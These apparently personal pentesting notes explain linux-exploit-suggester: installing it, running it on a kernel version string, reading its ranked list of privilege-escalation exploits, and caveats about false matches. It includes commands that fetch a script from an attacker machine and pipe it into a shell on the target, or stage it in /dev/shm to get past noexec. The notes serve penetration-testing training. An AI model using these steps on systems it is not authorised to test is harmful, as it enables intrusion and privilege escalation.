Tools

linux-exploit-suggester

les.sh maps a kernel version to public local privilege escalation exploits and ranks them. It is not a general enumerator like LinPEAS or linux-smart-enumeration, it answers one question: given this kernel, which exploit is worth compiling first. Use it once an old kernel shows up, as the last step of the triage order in Privilege Escalation.

Older writeups show a Linux Exploit Suggester section inside LinPEAS output. Current LinPEAS builds no longer bundle it, so it has to be run on its own.

Install

git clone https://github.com/The-Z-Labs/linux-exploit-suggester
cd linux-exploit-suggester && chmod +x linux-exploit-suggester.sh

Kali may already ship it as the linux-exploit-suggester package:

which linux-exploit-suggester.sh || find / -name "linux-exploit-suggester*" 2>/dev/null

Transfer to the Target

Only needed for the full run, which also inspects installed packages and kernel config. Same pattern as the other scripts, serve from Kali and pipe into a shell to avoid writing to a noexec mount:

# Kali
sudo python3 -m http.server 80
# target
curl http://KALI/linux-exploit-suggester.sh | bash

If it has to hit disk, /dev/shm is the usual fallback when /tmp is noexec:

cd /dev/shm
wget http://KALI/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh

Run

Uploading is usually unnecessary. LinPEAS has to run where the filesystem is, but the kernel ranking needs a single string, so copy that out of the shell and run the tool on Kali:

./linux-exploit-suggester.sh --uname "Linux version 2.6.32-21-generic (buildd@rothera) ..."
./linux-exploit-suggester.sh --kernel 2.6.32-21-generic

--uname takes the full uname -a or /proc/version string and is the better input, since it carries the distro build tag that the ranking depends on. --kernel takes just the version.

The same trick works for the userspace half of its checks. It scores installed packages against known exploits, and --pkglist-file takes a package list captured on the target:

# target
dpkg -l > pkgs.txt          # rpm -qa on RHEL family
# Kali
./linux-exploit-suggester.sh --uname "<uname -a output>" --pkglist-file pkgs.txt

Other flags worth knowing:

--checksec: reports the kernel’s own hardening (KASLR, SMEP, SMAP). Useful for understanding why a PoC that should match keeps failing.
--fetch-binaries: downloads precompiled exploits. Rarely the right move, a Kali-built or prebuilt binary often breaks on an old target, see Kernel Exploits for why compiling on the target is the default.

Read the Output

[+] [CVE-2010-3904] rds

   Details: http://www.securityfocus.com/archive/1/514379
   Exposure: highly probable
   Tags: debian=6.0{kernel:2.6.32-5-amd64},ubuntu=10.04{kernel:2.6.32-21-generic}
   Download URL: https://www.exploit-db.com/download/15285

Exposure is its confidence, Tags are the distro and kernel builds the PoC was actually tested on, and Download URL gives the exploit-db id to pull with searchsploit -m. A tag matching the target’s exact build outranks everything else in the list. The full pick order is in Kernel Exploits.

It matches on version numbers and does not verify anything, so a dozen hits on an old kernel is normal output, not a dozen findings. Backported distro patches mean a listed CVE can be fixed on the box while the version string still looks vulnerable.

Alternative

linux-exploit-suggester-2 is a separate perl rewrite, smaller exploit set and no exposure ranking, but it is what some older writeups and LinPEAS builds called:

git clone https://github.com/jondonas/linux-exploit-suggester-2
./linux-exploit-suggester-2.pl -k 2.6.32